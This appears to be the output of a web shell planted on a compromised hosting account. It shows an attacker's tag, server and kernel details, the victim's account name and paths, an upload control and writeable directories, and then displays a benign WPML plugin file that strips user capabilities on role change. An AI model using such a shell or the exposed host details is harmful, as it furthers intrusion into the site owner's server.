Heray-Was-Here
Server : Apache
System : Linux hybrid3195.ca.ns.planethoster.net 3.10.0-1160.119.1.el7.tuxcare.els19.x86_64 #1 SMP Mon Mar 31 17:29:00 UTC 2025 x86_64
User : alliancerealtynb ( 1004)
PHP Version : 7.4.33
Disable Function : noop
Directory :  /home/alliancerealtynb/sitepress-multilingual-cmsOLDOLD/classes/roles/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/alliancerealtynb/sitepress-multilingual-cmsOLDOLD/classes/roles/Roles.php
<?php

namespace WPML;

use WPML\LIB\WP\Hooks;
use WPML\LIB\WP\User;
use WPML\LIB\WP\Roles as WPRoles;
use function WPML\FP\spreadArgs;

class Roles implements \IWPML_Backend_Action, \IWPML_AJAX_Action {

	public function add_hooks() {
		Hooks::onAction( 'set_user_role', 10, 3 )->then( spreadArgs( [ self::class, 'remove_caps' ] ) );
	}

	public static function remove_caps( $userId, $role, $oldRoles ) {
		if ( ! WPRoles::hasCap( 'manage_options', $role ) ) {
			$user = User::get( $userId );

			wpml_collect( DefaultCapabilities::get() )
				->keys()
				->map( [ $user, 'remove_cap' ] );
		}
	}
}

Hry